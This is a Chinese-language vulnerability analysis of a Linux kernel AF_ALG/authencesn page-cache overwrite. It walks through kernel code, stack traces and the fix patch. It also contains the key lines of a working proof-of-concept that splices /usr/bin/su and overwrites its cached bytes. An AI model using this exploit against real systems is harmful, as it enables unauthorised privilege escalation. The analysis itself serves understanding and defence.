简介

漏洞自linux 4.13-rc1引入

# git show 72548b093ee3:Makefile
VERSION = 4
PATCHLEVEL = 13
SUBLEVEL = 0
EXTRAVERSION = -rc1
NAME = Fearless Coyote

借助这个最广为流传的poc查看漏洞原理

内核构建需启用这些特性:

CONFIG_CRYPTO_USER
CRYPTO_USER_API_AEAD
CONFIG_CRYPTO_AEAD
CRYPTO_AUTHENC

内核代码注释

poc

原poc是AI写的,不易读,经过调整,注释,最关键的部分是这几行:

CVE-2026-31431/poc/copy_fail_exp.py

    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    """
    ref: crypto/authenc.c: crypto_authenc_extractkeys

    struct {
        __u16  rta_len;     // 8 (__u16 + __u16 + __be32 前三个成员, 即struct rtattr)
        __u16  rta_type;    // 1 = CRYPTO_AUTHENC_KEYA_PARAM
        __be32 enckeylen;   // 16
        u8     authkey[16]; // 16
        u8     enckey[16];  // 16 cbc(aes)加密秘钥
    };
    """
    a.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, struct.pack('=HH', 8, 1) + struct.pack('>I16s16s', 16, b'\x00' * 16, b'\x00' * 16))
    a.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, 4) # tag的大小
    u, _ = a.accept()

    u.sendmsg([b"A" * 4 + content], # AAD
              [
                  (socket.SOL_ALG, socket.ALG_SET_OP, b'\x00' * 4), # 解密行为
                  (socket.SOL_ALG, socket.ALG_SET_IV, b'\x10'+ b'\x00' * 19), # cbc(aes)初始化向量
                  (socket.SOL_ALG, socket.ALG_SET_AEAD_ASSOCLEN, b'\x08'+ b'\x00' * 3) # AAD长度为8
              ],
              socket.MSG_MORE)

    """
    f的文件内容发送给u, 发送的是 ct(已加密待解密) | tag, 因为tag 4字节, 所以一共发送的 CT 是0
    """
    r, w = os.pipe()
    os.splice(f, w, index + 4, offset_src=0) # f的page给pipe,这个page是tag
    os.splice(r, u.fileno(), count=index + 4) # pipe的page传递给sock 两者合并,等于文件f的page给了socket

    try:
        u.recv(8 + index) # 收到的是AAD | CT(0)
    except:
        0

调整后代码:

主要分为3个步骤:

  • sendmsg
    • 发送AAD,aead中的authencesn算法会用到,8字节的AAD会被authencesn当做一种序列号,这个序列号后面会被调整位置
  • splice
    • 把文件的页绑定上来,攻击就是发生在这里,页会被修改,一次修改4字节
  • recv
    • aead真正执行的地方,af_alg的流程中,sendmsg仅仅是保存数据,最后recv时候才加解密

aead用到的几个标签简单解释:

* TX SGL: AAD || CT || Tag(解密需要tag)
*	    |	   |	 ^
*	    | copy |	 | Create SGL link.
*	    v	   v	 |
* RX SGL: AAD || CT ----+
  • AAD
    • 用于计算摘要的时候连带一起,当解密时候用来判断AAD是不是最开始的,增加安全性,poc里AAD 8字节
  • CT
    • 已加密 待解密数据,poc脚本里没有传递这个
  • Tag
    • 根据 AAD + 明文 一起生成 加密时:Tag = HMAC(AAD || 明文,解密时候需要带上

sendmsg

第一次sendmsg发生在u.sendmsg([b"A" * 4 + content],这8个字节是AAD。af_alg_sendmsg是AF_ALG套接字发送消息的核心函数,负责将用户态数据拷贝到内核的ctx->tsgl_list中暂存,等待后续recv时执行加解密操作。

crypto/af_alg.c: 937

int af_alg_sendmsg(struct socket *sock, struct msghdr *msg, size_t size,
		   unsigned int ivsize) // 消息拷贝到ctx->tsgl_list->sg中
{
	struct sock *sk = sock->sk;
	struct af_alg_ctx *ctx = ask->private; // 一个accept后的sock上下文
	struct af_alg_tsgl *sgl; // 一系列scatterlist,打包一系列的page
	bool enc = false; // 是否加密 poc用的是socket.SOL_ALG, socket.ALG_SET_OP, b'\x00' * 4 解密行为

	while (size) {
		struct scatterlist *sg;
		size_t len = size;
		ssize_t plen;

		/* allocate a new page */
		len = min_t(unsigned long, len, af_alg_sndbuf(sk));

		err = af_alg_alloc_tsgl(sk); // ctx->tsgl_list空间确保充足
		if (err)
			goto unlock;

		sgl = list_entry(ctx->tsgl_list.prev, struct af_alg_tsgl,
				 list); // 指向ctx->tsgl_list最后一个
		sg = sgl->sg;

		if (msg->msg_flags & MSG_SPLICE_PAGES) { // splice时候复用page
			...
			这是下一章节splice用的地方
			...
		} else {
			do {
				struct page *pg;
				unsigned int i = sgl->cur;

				plen = min_t(size_t, len, PAGE_SIZE);

				pg = alloc_page(GFP_KERNEL);

				sg_assign_page(sg + i, pg); // 保存pg地址到page_link

				err = memcpy_from_msg(
					page_address(sg_page(sg + i)),
					msg, plen); // 拷贝AAD到页中

af_alg_sendmsg在非splice路径下,会通过alloc_page新分配一个物理页,然后使用memcpy_from_msg将用户态的AAD数据拷贝到该页中,并将这个页挂到ctx->tsgl_list链表上。此时ctx->used累加为8(AAD的大小),ctx->more由于设置了MSG_MORE标志而为真,表示后续还有数据要发送。

这一步主要是新申请一个page,存储AAD,放到ctx->tsgl_list列表中,这个列表可以理解为一次accept后对这个socket发送的数据都暂存到这里

splice

splice系统调用也会到sendmsg这里。与普通sendmsg不同,splice路径不会拷贝数据,而是直接传递页引用,这是漏洞利用的关键——文件的缓存页会被直接绑定到AF_ALG套接字的TX SGL中,后续解密时对该页的写入会直接修改文件缓存。

#0  af_alg_sendmsg (sock=0xffff888003a0c000, msg=0xffffc90000753c58, size=4, ivsize=16) at crypto/af_alg.c:939
#1  0xffffffff8157c23e in aead_sendmsg (sock=<optimized out>, msg=<optimized out>, size=<optimized out>) at crypto/algif_aead.c:71
#2  0xffffffff818caacb in sock_sendmsg_nosec (msg=0xffffc90000753c58, sock=0xffff888003a0c000) at net/socket.c:730
#3  __sock_sendmsg (msg=0xffffc90000753c58, sock=0xffff888003a0c000) at net/socket.c:745
#4  sock_sendmsg (sock=sock@entry=0xffff888003a0c000, msg=msg@entry=0xffffc90000753c58) at net/socket.c:768
#5  0xffffffff81387d75 in splice_to_socket (pipe=<optimized out>, out=0xffff888005ebbb00, ppos=<optimized out>, len=4, flags=0) at fs/splice.c:881
#6  0xffffffff813883ec in do_splice_from (flags=82964480, len=4, ppos=0xffffc90000753e38, out=0xffff888005ebbb00, pipe=0xffff888004e39780) at fs/splice.c:933
#7  do_splice (in=in@entry=0xffff888005ebbd00, off_in=off_in@entry=0x0 <fixed_percpu_data>, out=out@entry=0xffff888005ebbb00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=4, flags=<optimized out>, flags@entry=0) at fs/splice.c:1292
#8  0xffffffff81388ae2 in __do_splice (in=in@entry=0xffff888005ebbd00, off_in=off_in@entry=0x0 <fixed_percpu_data>, out=out@entry=0xffff888005ebbb00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=4, flags=flags@entry=0) at fs/splice.c:1370
#9  0xffffffff81388c49 in __do_sys_splice (flags=0, len=4, off_out=0x0 <fixed_percpu_data>, fd_out=<optimized out>, off_in=0x0 <fixed_percpu_data>, fd_in=<optimized out>) at fs/splice.c:1586
#10 __se_sys_splice (flags=0, len=4, off_out=0, fd_out=<optimized out>, off_in=0, fd_in=<optimized out>) at fs/splice.c:1568
#11 __x64_sys_splice (regs=<optimized out>) at fs/splice.c:1568
#12 0xffffffff810042ba in x64_sys_call (regs=regs@entry=0xffffc90000753f58, nr=<optimized out>) at ./arch/x86/include/generated/asm/syscalls_64.h:276
#13 0xffffffff81b3dc29 in do_syscall_x64 (nr=<optimized out>, regs=0xffffc90000753f58) at arch/x86/entry/common.c:51
#14 do_syscall_64 (regs=0xffffc90000753f58, nr=<optimized out>) at arch/x86/entry/common.c:81

af_alg_sendmsg需要msg参数,存储的是send的消息

sendmsg系统调用时候,msg里的内容是用户态的消息的一份拷贝,而借助splice之后,传递给sendmsgmsg里指向的page则没有发生拷贝了,直接传递的是管道page引用。调用栈从__x64_sys_splicedo_splicesplice_to_socketsock_sendmsgaead_sendmsgaf_alg_sendmsg,可以看到splice最终也走到了af_alg_sendmsg

对应poc:os.splice(r, u.fileno(), count=index + 4) # pipe的page传递给sock

fs/splice.c: 791

ssize_t splice_to_socket(struct pipe_inode_info *pipe, struct file *out,
			 loff_t *ppos, size_t len, unsigned int flags)
{
	struct socket *sock = sock_from_file(out);
	struct bio_vec bvec[16];
	struct msghdr msg = {};

	pipe_lock(pipe);

	while (len > 0) {
		unsigned int head, tail, mask, bc = 0;
		size_t remain = len; // 剩余需要传送的Byte

		head = pipe->head;
		tail = pipe->tail;
		mask = pipe->ring_size - 1;

		while (!pipe_empty(head, tail)) {
			struct pipe_buffer *buf = &pipe->bufs[tail & mask];
			size_t seg;

			if (!buf->len) {
				tail++;
				continue;
			}

			seg = min_t(size_t, remain, buf->len); // 一次传送的大小

			bvec_set_page(&bvec[bc++], buf->page, seg, buf->offset); // bv->bv_page = page; bv->bv_len = len; bv->bv_offset = offset; 这里直接传递的page,而不是拷贝数据
			remain -= seg;
			if (remain == 0 || bc >= ARRAY_SIZE(bvec))
				break;
			tail++;
		}

		if (!bc)
			break;

		iov_iter_bvec(&msg.msg_iter, ITER_SOURCE, bvec, bc,
			      len - remain); // 后面的信息都组装到msg.msg_iter中
		ret = sock_sendmsg(sock, &msg);

splice_to_socket函数将管道中的页通过bvec_set_page直接引用(而非拷贝),然后通过iov_iter_bvec组装到msg.msg_iter中,最终调用sock_sendmsg传递给AF_ALG套接字。这意味着管道中的页——也就是文件缓存页——被直接传递到了af_alg_sendmsg中。

而上一行的splice系统调用:os.splice(f, w, index + 4, offset_src=0) # f的page给pipe,这个page是tag恰恰文件/usr/sbin/su的缓存page交给了管道

#0  filemap_splice_read (in=0xffff888004f38800, ppos=0xffffc90000753e38, pipe=0xffff888004f2be40, len=12, flags=0) at mm/filemap.c:2928
#1  0xffffffff81404b8f in ext4_file_splice_read (in=<optimized out>, ppos=<optimized out>, pipe=<optimized out>, len=<optimized out>, flags=<optimized out>) at fs/ext4/file.c:158
#2  0xffffffff813861a8 in vfs_splice_read (flags=0, len=12, pipe=0xffff888004f2be40, ppos=0xffffc90000753e38, in=0xffff888004f38800) at fs/splice.c:993
#3  vfs_splice_read (in=0xffff888004f38800, ppos=0xffffc90000753e38, pipe=0xffff888004f2be40, len=<optimized out>, flags=0) at fs/splice.c:962
#4  0xffffffff81387fad in splice_file_to_pipe (in=in@entry=0xffff888004f38800, opipe=opipe@entry=0xffff888004f2be40, offset=0xffffc90000753e38, len=len@entry=12, flags=0) at fs/splice.c:1233
#5  0xffffffff81388610 in do_splice (in=in@entry=0xffff888004f38800, off_in=off_in@entry=0xffffc90000753e98, out=out@entry=0xffff888004f38e00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=12, flags=<optimized out>, flags@entry=0) at fs/splice.c:1313
#6  0xffffffff813889a3 in __do_splice (in=in@entry=0xffff888004f38800, off_in=off_in@entry=0x7fff5167d598, out=out@entry=0xffff888004f38e00, off_out=off_out@entry=0x0 <fixed_percpu_data>, len=len@entry=12, flags=flags@entry=0) at fs/splice.c:1370
#7  0xffffffff81388c49 in __do_sys_splice (flags=0, len=12, off_out=0x0 <fixed_percpu_data>, fd_out=<optimized out>, off_in=0x7fff5167d598, fd_in=<optimized out>) at fs/splice.c:1586
#8  __se_sys_splice (flags=0, len=12, off_out=0, fd_out=<optimized out>, off_in=140734559147416, fd_in=<optimized out>) at fs/splice.c:1568
#9  __x64_sys_splice (regs=<optimized out>) at fs/splice.c:1568
#10 0xffffffff810042ba in x64_sys_call (regs=regs@entry=0xffffc90000753f58, nr=<optimized out>) at ./arch/x86/include/generated/asm/syscalls_64.h:276

第一个splice调用os.splice(f, w, index + 4, offset_src=0)通过filemap_splice_read(对于ext4文件系统则是ext4_file_splice_read)将文件/usr/bin/su的缓存页读取到管道中。这里的关键是filemap_splice_read不会拷贝文件内容到新页,而是直接将文件页缓存(page cache)的引用放入管道,因此管道中持有的是su文件在页缓存中的原始页。

两行splice系统调用,把文件的page交给了sendmsg

splice状态下的sendmsg

在af_alg_sendmsg函数中,专门针对splice情况特殊处理,不再拷贝page了,直接把从文件缓冲的page再次直接引用。当msg->msg_flags中包含MSG_SPLICE_PAGES标志时,af_alg_sendmsgextract_iter_to_sg分支,将msg->msg_iter中的页引用直接添加到ctx->tsgl_list中,而不是分配新页并拷贝数据。

crypto/af_alg.c: 937

int af_alg_sendmsg(struct socket *sock, struct msghdr *msg, size_t size,
		   unsigned int ivsize) // 消息拷贝到ctx->tsgl_list->sg中
{
	struct sock *sk = sock->sk;
	struct alg_sock *ask = alg_sk(sk);
	struct af_alg_ctx *ctx = ask->private; // 一个accept后的sock上下文
	struct af_alg_tsgl *sgl; // 一系列scatterlist,打包一系列的page

	while (size) {
		struct scatterlist *sg;
		size_t len = size;
		ssize_t plen;

		/* allocate a new page */
		len = min_t(unsigned long, len, af_alg_sndbuf(sk));

		sgl = list_entry(ctx->tsgl_list.prev, struct af_alg_tsgl,
				 list); // 指向ctx->tsgl_list最后一个
		sg = sgl->sg;

		if (msg->msg_flags & MSG_SPLICE_PAGES) { // splice时候复用page
			struct sg_table sgtable = {
				.sgl		= sg,
				.nents		= sgl->cur,
				.orig_nents	= sgl->cur,
			};

			plen = extract_iter_to_sg(&msg->msg_iter, len, &sgtable,
						  MAX_SGL_ENTS - sgl->cur, 0); // msg->msg_iter里的page放到ctx->tsgl_list中

extract_iter_to_sgmsg->msg_iter中引用的页(即来自管道的文件缓存页)直接添加到ctx->tsgl_list的scatterlist中,然后通过get_page增加引用计数。这里没有发生任何数据拷贝,ctx->tsgl_list中的第二个scatterlist条目直接指向了/usr/bin/su文件的页缓存。

所以到这里,文件缓存page从管道来到了af_alg模块ctx->tsgl_list

在第一次处理4直接的过程中,ctx->tsgl_list一共有两个page

  • 8字节的AAD,来自u.sendmsg([b"A" * 4 + content], # AAD,这一个page是拷贝的page
  • 4字节的文件内容,来自os.splice(f, w, index + 4, offset_src=0); os.splice(r, u.fileno(), count=index + 4),来自文件的缓存page,直接引用,没有拷贝

recv

接收的时候先准备做加解密的内存空间。_aead_recvmsg是AEAD解密的核心入口,它需要准备RX SGL(接收缓冲区)和TX SGL(发送缓冲区,即之前sendmsg/splice暂存的数据),然后调用底层crypto API执行解密。漏洞就发生在RX SGL的构建过程中——"原地优化"使得src和dst指向了同一组SGL。

第一块空间来自于recv时用户态提供的空间,即u.recv(8 + index)

static int _aead_recvmsg(struct socket *sock, struct msghdr *msg,
			 size_t ignored, int flags)
{

	/* convert iovecs of output buffers into RX SGL */
	err = af_alg_get_rsgl(sk, msg, flags, areq, outlen, &usedpages);  // 从msg中提取page到areq->rsgl_list,这里的msg是接收缓冲区 最大提取字节数 maxsize = outlen = 8,只占用8字节

af_alg_get_rsgl从用户态recv缓冲区(msg)中提取页到areq->rsgl_list(即RX SGL)。此时outlen = used - as = 12 - 4 = 8used = ctx->used = 12,即8字节AAD + 4字节tag;as = ctx->aead_assoclen = 4,但实际AAD长度为8,这里as是控制消息中设置的ALG_SET_AEAD_ASSOCLEN值),所以RX SGL最多只映射8字节的用户空间。这8字节对应AAD(8字节),CT长度为0。

不过接下来,漏洞commit引入了下面的代码:

“原地优化”,aead需要在rx的缓冲区后面多写入一点点东西,写完后撤回,所以在rx后面跟了一个tag的页面,现在rx和tx指向的页面都一样了,rx中也有的一个tag页面来自于文件su的缓存。具体流程是:先将TX SGL中的AAD||CT拷贝到RX SGL(crypto_aead_copy_sgl),然后从TX SGL中提取tag页到areq->tsglaf_alg_pull_tsgl),最后将tag页链接到RX SGL末尾(sg_chain)。这样RX SGL就变成了AAD||CT||Tag的完整布局,且rsgl_src被设置为RX SGL本身,导致后续aead_request_set_crypt中src和dst指向同一组SGL。

	/* Use the RX SGL as source (and destination) for crypto op. */
	rsgl_src = areq->first_rsgl.sgl.sgt.sgl;

	if (ctx->enc) {
		...加密相关 poc是解密...
	} else {
		/*
		 * Decryption operation - To achieve an in-place cipher
		 * operation, the following  SGL structure is used:
		 *
		 * TX SGL: AAD || CT || Tag(解密需要tag AAD|CT拷贝到Rx Tag使用sgl引用)
		 *	    |	   |	 ^
		 *	    | copy |	 | Create SGL link.
		 *	    v	   v	 |
		 * RX SGL: AAD || CT ----+
		 */

		 /* Copy AAD || CT to RX SGL buffer for in-place operation. */
		err = crypto_aead_copy_sgl(null_tfm, tsgl_src, // tsgl_src指向ctx->tsgl_list
					   areq->first_rsgl.sgl.sgt.sgl,
					   outlen); // memcpy(areq->first_rsgl.sgl.sgt.sgl, tsgl_src, outlen); outlen = used - tag的大小 拷贝tx的AAD | CT到rx中
		if (err)
			goto free;

		/* Create TX SGL for tag and chain it to RX SGL. */
		areq->tsgl_entries = af_alg_count_tsgl(sk, processed,
						       processed - as); // 计算需要多少scatterlist条目来存储tag数据
		if (!areq->tsgl_entries)
			areq->tsgl_entries = 1;
		areq->tsgl = sock_kmalloc(sk, array_size(sizeof(*areq->tsgl),
							 areq->tsgl_entries),
					  GFP_KERNEL); // 分配scatterlist数组 tx sgl
		if (!areq->tsgl) {
			err = -ENOMEM;
			goto free;
		}
		sg_init_table(areq->tsgl, areq->tsgl_entries); // 现在只申请了tag的空间,开头的aad借用rx的sgl,到时候src/dst都是相同的page

		/* Release TX SGL, except for tag data and reassign tag data. */
		af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as); // 从ctx->tsgl_list提取tag所在page转移到areq->tsgl ctx->tsgl_list取完了释放

		/* chain the areq TX SGL holding the tag with RX SGL */
		if (usedpages) { // tag page接在rx list后
			/* RX SGL present */
			struct af_alg_sgl *sgl_prev = &areq->last_rsgl->sgl;
			struct scatterlist *sg = sgl_prev->sgt.sgl;

			sg_unmark_end(sg + sgl_prev->sgt.nents - 1); // 移除前一个scatterlist的结束标记
			sg_chain(sg, sgl_prev->sgt.nents + 1, areq->tsgl); // 将tag的scatterlist链接到RX SGL末尾 *(areq->last_rsgl->sgl->sgt.sgl + 1)
		} else
			/* no RX SGL present (e.g. authentication only) */
			rsgl_src = areq->tsgl; // 没有RX SGL,直接使用tag的scatterlist作为源
	}

    ......

		err = crypto_wait_req(ctx->enc ?
				crypto_aead_encrypt(&areq->cra_u.aead_req) :
				crypto_aead_decrypt(&areq->cra_u.aead_req),
				&ctx->wait); // 加密/解密
	}

上述代码的关键步骤:

  • rsgl_src = areq->first_rsgl.sgl.sgt.sgl:将源SGL设置为RX SGL
  • crypto_aead_copy_sgl(null_tfm, tsgl_src, areq->first_rsgl.sgl.sgt.sgl, outlen):将TX SGL中的AAD||CT(共8字节)拷贝到RX SGL中
  • af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as):从ctx->tsgl_list中提取tag所在的页(即su文件的缓存页)到areq->tsgl中,processed = 12processed - as = 8,表示从偏移8开始提取
  • sg_chain(sg, sgl_prev->sgt.nents + 1, areq->tsgl):将tag页链接到RX SGL末尾,此时RX SGL = AAD||CT||Tag(文件缓存页)
  • aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src, areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv):设置crypto请求,src和dst都指向RX SGL,used = 4(扣除AAD后的加密数据长度)

最终导致在这一行中,AAD的低4字节写入到了tag页中
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // dst = spi + spi + sn_l + CT + sn_h

crypto/authencesn.c: 267

static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
	unsigned int assoclen = req->assoclen; // AAD大小
	unsigned int cryptlen = req->cryptlen; // used 已加密的长度,来源于文件f,需要解密
	struct scatterlist *dst = req->dst;
	u32 tmp[2];

    scatterwalk_map_and_copy(ihash, req->src, assoclen + cryptlen,
				 authsize, 0); // 拷贝完整性icv到ihash ihash是input中的原始hash

	/* Move high-order bits of sequence number to the end. */
	scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // 读取8字节tmp = spi + sn_h,u.sendmsg([b"A" * 4 + content]
	scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // dst = spi + spi + sn_l + CT
	scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // dst = spi + spi + sn_l + CT + sn_h

    dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4); // 跳过前4字节,从偏移4开始计算hash

crypto_authenc_esn_decrypt是authencesn算法的解密函数,它需要将ESN(Extended Sequence Number)的sn高位移动到数据末尾。由于"原地优化"导致req->src == req->dst,。然后scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)在dst(即RX SGL)的偏移assoclen + cryptlen = 8 + 0 = 8处写入4字节,而偏移8恰好是tag页的位置——也就是/usr/bin/su文件的缓存页。写入的内容是tmp + 1,即AAD的低4字节。

tag页是su文件的缓存:

    os.splice(f, w, index + 4, offset_src=0) # f的page给pipe,这个page是tag
    os.splice(r, u.fileno(), count=index + 4) # pipe的page传递给sock 两者合并,等于文件f的page给了socket

AAD的低4字节是需要覆盖su的新指令:

u.sendmsg([b"A" * 4 + content], # AAD

authenc_esn 为什么会修改额外字段

rx只需要接收ADD | CT,为什么aead需要拼接,authenc_esn写入到Tag呢?

需要拼接和写入是因为ipsec rfc4303协议的规定

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ----
|               Security Parameters Index (SPI)                 | ^Int.
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Cov-
|                      Sequence Number                          | |ered
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ----
|                    Payload Data* (variable)                   | |   ^
~                                                               ~ |   |
|                                                               | |Conf.
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Cov-
|               |     Padding (0-255 bytes)                     | |ered*
+-+-+-+-+-+-+-+-+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |   |
|                               |  Pad Length   | Next Header   | v   v
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ------
|         Integrity Check Value-ICV   (variable)                |
~                                                               ~
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
3.3.2.1.  Separate Confidentiality and Integrity Algorithms
4.  Compute the ICV over the ESP packet minus the ICV field.
    Thus, the ICV computation encompasses the SPI, Sequence
    Number, Payload Data, Padding (if present), Pad Length, and
    Next Header.  (Note that the last 4 fields will be in
    ciphertext form, because encryption is performed first.)  If
    the ESN option is enabled for the SA, the high-order 32
    bits of the sequence number are appended after the Next
    Header field for purposes of this computation, but are not
    transmitted.
计算 ESP 数据包减去 ICV 字段的 ICV。因此,ICV 计算包括 SPI、序列号、有效载荷数据、填充(如果存在)、填充长度和下一个报头。 (请注意,最后 4 个字段将以密文形式存在,因为加密首先执行。)如果为安全关联启用了 ESN 选项,则序列号的高 32 位将在计算此计算之后追加到下一个报头字段,但不会传输。

完整性校验时,Seq# (high-order bits)出现在ICV之前,其他加密数据之后

    Table 1. Separate Encryption and Integrity Algorithms

                                            What    What    What
                          # of     Requ'd  Encrypt Integ    is
                          bytes      [1]   Covers  Covers  Xmtd
                          ------   ------  ------  ------  ------
   SPI                       4        M              Y     plain
   Seq# (low-order bits)     4        M              Y     plain       p
                                                                ------ a
   IV                     variable    O              Y     plain     | y
   IP datagram [2]        variable  M or D    Y      Y     cipher[3] |-l
   TFC padding [4]        variable    O       Y      Y     cipher[3] | o
                                                                ------ a
   Padding                 0-255      M       Y      Y     cipher[3]   d
   Pad Length                1        M       Y      Y     cipher[3]
   Next Header               1        M       Y      Y     cipher[3]
   Seq# (high-order bits)    4     if ESN [5]        Y     not xmtd
   ICV Padding            variable if need           Y     not xmtd
   ICV                    variable   M [6]                 plain

内核ipsec esp esn视角:

esp esn时AAD实际需要6字节 SPI SN_H SN_L 当前CVE仅利用了前4字节没有SN_L

input : SPI SN_H (SN_L) CT icv
          \   \
            |   ----------------
             \                  \
output: SPI SPI SN_L (SN_L) CT SN_H icv(被挤占 已提前保存过)

在这里插入图片描述

为什么写入到Tag遇到失败不会复原呢?

原本authenc_esn只是网络中的一环,这个环节失败报文会丢弃,这一环节没有必要针对丢弃的报文做恢复,也有其他模块会修改不撤销,否则会造成网络开销增加,本身只是为了网络一环设计的没针对af_alg设计

The ESN facility allows use of a 64-bit sequence number for an SA.
   (See Appendix A, "Extended (64-bit) Sequence Numbers", for details.)
   Only the low-order 32 bits of the sequence number are transmitted in
   the plaintext ESP header of each packet, thus minimizing packet
   overhead.  The high-order 32 bits are maintained as part of the
   sequence number counter by both transmitter and receiver and are
   included in the computation of the ICV (if the integrity service is
   selected).  If a separate integrity algorithm is employed, the high
   order bits are included in the implicit ESP trailer, but are not
   transmitted, analogous to integrity algorithm padding bits.  If a
   combined mode algorithm is employed, the algorithm choice determines
   whether the high-order ESN bits are transmitted or are included
   implicitly in the computation.  See Section 3.3.2.2 for processing
   details.
ESN 功能允许使用 64 位序列号用于 SA。(详见附录 A,“扩展(64 位)序列号”。)每个数据包的明文 ESP 头中只传输序列号的低阶 32 位,从而最大限度地减少数据包开销。高阶 32 位由发送端和接收端作为序列号计数器的一部分维护,并包含在 ICV 的计算中(如果选择完整性服务)。如果采用独立的完整性算法,高阶位会包含在隐式 ESP 尾部中,但不会传输,类似于完整性算法填充位。如果采用组合模式算法,算法选择决定高阶 ESN 位是传输还是隐式包含在计算中。处理细节请参见第 3.3.2.2 节 。

修复补丁

补丁961cfa271a918ad4ae452420e7c303149002875b撤销了72548b093ee3(“crypto: algif_aead - copy AAD from src to dst”)提交。为每次请求分配完整的TX SGL(包含AAD||CT||Tag),使用memcpy_sglist将AAD从TX SGL拷贝到RX SGL,并确保aead_request_set_crypt中src和dst分别指向不同的SGL。

@@ -154,23 +152,24 @@ static int _aead_recvmsg(struct socket *sock, struct msghdr *msg,
 		outlen -= less;
 	}
 
+	/*
+	 * Create a per request TX SGL for this request which tracks the
+	 * SG entries from the global TX SGL.
+	 */
 	processed = used + ctx->aead_assoclen;
-	list_for_each_entry_safe(tsgl, tmp, &ctx->tsgl_list, list) {
-		for (i = 0; i < tsgl->cur; i++) {
-			struct scatterlist *process_sg = tsgl->sg + i;
-
-			if (!(process_sg->length) || !sg_page(process_sg))
-				continue;
-			tsgl_src = process_sg;
-			break;
-		}
-		if (tsgl_src)
-			break;
-	}
-	if (processed && !tsgl_src) {
-		err = -EFAULT;
+	areq->tsgl_entries = af_alg_count_tsgl(sk, processed); // tsgl需要的大小是完整的AAD|CT|Tag了(错误补丁只申请Tag的大小)
+	if (!areq->tsgl_entries)
+		areq->tsgl_entries = 1;
+	areq->tsgl = sock_kmalloc(sk, array_size(sizeof(*areq->tsgl),
+					         areq->tsgl_entries),
+				  GFP_KERNEL);
+	if (!areq->tsgl) {
+		err = -ENOMEM;
 		goto free;
 	}
+	sg_init_table(areq->tsgl, areq->tsgl_entries);
+	af_alg_pull_tsgl(sk, processed, areq->tsgl); // 从ctx->tsgl_list中提取所有消息(错误补丁中只拷贝了Tag部分)
+	tsgl_src = areq->tsgl;

第一处修改:修复后的代码为每次请求分配完整的TX SGL(af_alg_count_tsgl(sk, processed)计算的是AAD||CT||Tag全部的scatterlist条目数,而非漏洞版本中只计算Tag部分af_alg_count_tsgl(sk, processed, processed - as)),然后通过af_alg_pull_tsglctx->tsgl_list中的所有数据(包括AAD、CT和Tag)提取到areq->tsgl中,并将tsgl_src指向areq->tsgl而非RX SGL。

@@ -179,75 +178,15 @@ static int _aead_recvmsg(struct socket *sock, struct msghdr *msg,
 	 * when user space uses an in-place cipher operation, the kernel
 	 * will copy the data as it does not see whether such in-place operation
 	 * is initiated.
-	 *
- ......
-			rsgl_src = areq->tsgl;
-	}
+	memcpy_sglist(rsgl_src, tsgl_src, ctx->aead_assoclen); // tx的AAD拷贝到RX中
 
 	/* Initialize the crypto operation */
-	aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src,
+	aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src,
 			       areq->first_rsgl.sgl.sg, used, ctx->iv); // tsgl_sr指向的是完整申请的areq->tsgl,src/dst不再是相同的sgl

第二处修改:修复后的代码使用memcpy_sglist(rsgl_src, tsgl_src, ctx->aead_assoclen)将TX SGL中的AAD拷贝到RX SGL中,并在aead_request_set_crypt中将src设置为tsgl_src(指向areq->tsgl,包含完整的AAD||CT||Tag),dst设置为areq->first_rsgl.sgl.sg(RX SGL)。

PS: crypto: af_alg - Remove zero-copy support from skcipher and aead 又把af_alg的splice支持给移除了。。。

总结

漏洞的根因是commit 72548b093ee3引入的"原地优化":在_aead_recvmsg解密路径中,将rsgl_src设置为RX SGL本身,使得aead_request_set_crypt中src和dst指向同一组SGL。这导致crypto_authenc_esn_decryptreq->src == req->dst,随后authencesn.c:scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1)直接向dst(RX SGL)写入数据。而RX SGL末尾链接的tag页是通过splice来自文件的页缓存页,写入操作直接修改了文件缓存,实现了对任意可读文件的4字节覆盖。

本次漏洞的poc代码也非常简练、高效,最简单的代码即实现漏洞利用,解密不要求解密成功,漏洞利用恰好每次写入到文件缓存的4个字节位置。

  • 2011年 authencesn 功能上线 ipsec协议相关
  • 2014年 AF_ALG 用户态调用内核加密子系统上线
  • 2015年 af_alg, aead上线,支持splice
  • 2017年 aead 原地优化补丁上线

AI boom!

原文:

本次漏洞是韩国人李泰阳发现,他首先是发现af_alg, aead结合splice会将仅可读的page缓存引入到加密子系统,接下来他借助AI漏洞工具Xint输入:

